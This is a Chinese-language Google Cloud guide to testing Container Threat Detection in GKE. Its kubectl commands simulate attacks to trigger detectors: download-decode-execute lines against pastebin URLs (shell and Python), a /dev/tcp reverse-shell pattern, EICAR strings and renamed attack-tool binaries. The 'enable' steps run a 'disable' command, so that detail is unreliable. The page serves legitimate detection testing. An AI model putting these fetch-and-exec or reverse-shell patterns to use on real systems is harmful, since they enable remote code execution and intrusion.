测试 Container Threat Detection

本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Container Threat Detection 是否正常运行。Container Threat Detection 是 Security Command Center 高级和企业层级的内置服务。如需查看 Container Threat Detection 发现结果,您必须在 Security Command Center 服务设置中启用该服务。

准备工作

如需检测容器的潜在威胁,您需要确保集群位于受支持的 Google Kubernetes Engine (GKE) 版本上。如需了解详情,请参阅使用受支持的 GKE 版本

启用检测器

默认情况下,检测器 Added Binary ExecutedAdded Library Loaded 处于停用状态。如需测试这些检测器,您必须明确启用它们:

  1. 检查检测器状态:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. 启用检测器 Added Binary Executed

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. 启用检测器 Added Library Loaded

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    

设置环境变量

如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更轻松地运行命令。以下变量用于测试所有 Container Threat Detection 检测器。

  1. 前往 Google Cloud 控制台

    转到 Google Cloud 控制台

  2. 选择包含要用来测试的容器的项目。

  3. 点击激活 Cloud Shell

  4. 在 Cloud Shell 中,设置环境变量。

    1. 您的集群所在的区域:

      export ZONE=CLUSTER_ZONE
      
    2. 您的容器所在的项目:

      export PROJECT=PROJECT_ID
      
    3. 您的集群名称:

      export CLUSTER_NAME=CLUSTER_NAME
      

变量已设置。以下部分包含测试 Container Threat Detection 检测器的说明。

已执行添加的二进制文件

如需触发已执行添加的二进制文件发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,然后执行。二进制文件的执行是出乎意料的,因为二进制文件的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器也是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • ARM 节点:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

此测试过程应创建一个“已执行添加的二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“已执行添加的二进制文件”发现结果。如需在设置容器时查看所有“已执行添加的二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已加载添加的库

如需触发“已加载添加的二进制文件”发现结果,请将库放入容器中,然后加载该库。此示例将部署最新的 Ubuntu 24.04 映像,将 /lib/x86_64-linux-gnu/libc.so.6 复制到其他位置,然后使用 ld 加载。已加载的库是出乎意料的,因为库的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入一个库并使用 ld 加载它:

    • x86 节点:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • ARM 节点:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

此测试过程应创建一个“已加载添加的库”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤添加的库加载的发现结果。如需在设置容器时查看所有“已加载添加的库”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:已执行添加的恶意二进制文件

如需触发“执行:已执行添加的恶意二进制文件”发现结果,请在容器中放入恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,创建模拟的恶意文件,然后执行该文件。二进制文件的执行是出乎意料的,因为模拟的恶意二进制文件不是原始容器映像的一部分,并且该二进制文件是 EICAR 测试文件,该文件被威胁情报分类为恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • ARM 节点:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

此测试过程应创建一个“执行:已执行添加的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行添加的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:添加了已执行的恶意二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:容器逃逸

如需触发“执行:容器逃逸”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (botb-linux-amd64),然后使用其他参数执行该工具。此操作被视为可疑,因为此执行模拟了与容器逃逸尝试一致的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入容器利用工具二进制文件(例如 botb-linux-amd64)并执行该文件:

    • x86 节点:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • ARM 节点:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

此测试过程应创建一个“执行:容器逃逸”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:容器逃逸”发现结果。如需在设置容器时查看所有“执行:容器逃逸”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:Kubernetes 攻击工具执行

如需触发“执行:Kubernetes 攻击工具执行”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (amicontained),然后执行该工具。此操作被视为可疑操作,因为它模拟了与潜在的 Kubernetes 攻击工具执行尝试一致的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 Kubernetes 攻击工具二进制文件(如 amicontained)并执行该文件:

    • x86 节点:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • ARM 节点:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

此测试过程应创建一个“执行:Kubernetes 攻击工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:Kubernetes 攻击工具执行”发现结果。如需在设置容器时查看所有“执行:Kubernetes 攻击工具执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:本地侦察工具执行

如需触发“执行:本地侦察工具执行”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (linenum.sh),然后执行该工具。由于执行重命名的二进制文件会模拟与本地侦察尝试一致的行为,因此此操作被视为可疑操作。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入本地侦察工具二进制文件(例如 linenum.sh)并执行该文件:

    • x86 节点:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • ARM 节点:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

此测试过程应创建一个“执行:本地侦察工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:本地侦察工具执行”发现结果。如需在设置容器时查看所有“执行:本地侦察工具执行”发现结果,请在容器名称或 pod 名称前加上 ktd-test,如示例所示。

Execution: Malicious Python executed

如需触发 Execution: Malicious Python executed 发现结果,您可以在容器中按照以下步骤执行 Python。

该过程会部署最新的 Python 映像,复制看似恶意的 Python 代码,然后执行该代码。若要触发检测,Python 代码必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此 Python 代码来自蜜罐。不过,该脚本已被修改,不会执行恶意二进制文件。运行该脚本不会导致容器中产生恶意活动。引用的网址中不存在二进制文件,并且尝试访问该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

    • x86 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • ARM 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

此测试过程会创建一个 Execution: Malicious Python executed 发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了日志记录)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

执行:已执行经过修改的恶意二进制文件

如需触发“执行:已修改的恶意二进制文件已执行”发现结果,请修改容器中的恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 修改为 EICAR 测试恶意文件,然后执行该文件。二进制文件的执行是意外的,因为创建的 /bin/ls 在容器运行时被修改为 EICAR 测试恶意二进制文件,而根据威胁情报,EICAR 二进制文件是已知的恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • ARM 节点:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

此测试过程应创建一个“执行:已执行经过修改的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已修改的恶意二进制文件已执行”发现结果。如需在设置容器时查看所有“执行:已修改的恶意二进制文件已执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已执行恶意脚本

如需触发“恶意脚本已执行”发现结果,您可以在容器中按照以下步骤执行脚本。

该过程会部署最新的 Ubuntu 24.04 映像,复制一个看似恶意的脚本,然后执行该脚本。若要触发检测,脚本必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此内嵌 Bourne shell 脚本源自蜜罐。不过,该脚本已被修改为不会执行恶意二进制文件,因此运行该脚本不会在容器中导致恶意活动。引用的网址中的二进制文件可能已被移除,如果尝试访问该网址,则会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

    • x86 节点:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • ARM 节点:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

此测试过程会创建一个“已执行恶意脚本”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

观察到恶意网址

如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。

以下示例将部署 Ubuntu 24.04 映像并执行 /bin/curl 以从安全浏览服务访问示例恶意网址。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行 curl 并提供恶意网址作为参数:

    • x86 节点:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • ARM 节点:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

此测试过程会触发“观察到恶意网址”发现结果,您可以在 Security Command Center 中查看该发现结果;如果您为 Container Threat Detection 配置了 Logging,则可以在 Cloud Logging 中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

反向 shell

如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。此示例会将 /bin/echo 复制到 /tmp/sh,然后启动 /tmp/sh 并重定向到 DNS 端口上的 Google 公共 DNS 8.8.8.8。运行此示例时,不会打印任何内容。为防止通过中间人 (MITM) 攻击注入任何外部代码,此示例未使用 /bin/sh 二进制文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用 /bin/echo 启动二进制文件重定向至 Google 公共 DNS:

    • x86 节点:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • ARM 节点:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

此测试过程会创建一个“反向 Shell”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

意外的 Shell Shell

如需测试 Unexpected Child Shell 检测器,您可以创建一个包含子 shell 进程的进程树。

以下示例会创建一个可由 Unexpected Child Shell 检测器检测的 consul->dash 进程树。此测试安全,因为它仅使用内置二进制文件。此示例会执行以下操作:

  1. 创建 sh 进程的副本并将其命名为 consul
  2. 复制 echo 进程并将其命名为 dash
  3. 在复制的 consul 进程中调用复制的 dash 进程。

如需触发 Unexpected Child Shell 发现结果,请执行以下操作:

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用模拟 consul 进程调用模拟 shell:

    • x86 节点:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag"
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • ARM 节点:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

此测试过程会创建一个 Unexpected Child Shell 发现结果,您可以在 Security Command Center 中查看该发现结果。如果您为 Container Threat Detection 配置了 Logging,并且已在组织级层激活了 Security Command Center 专业版或企业版,则也可以在 Cloud Logging 中查看发现结果。

后续步骤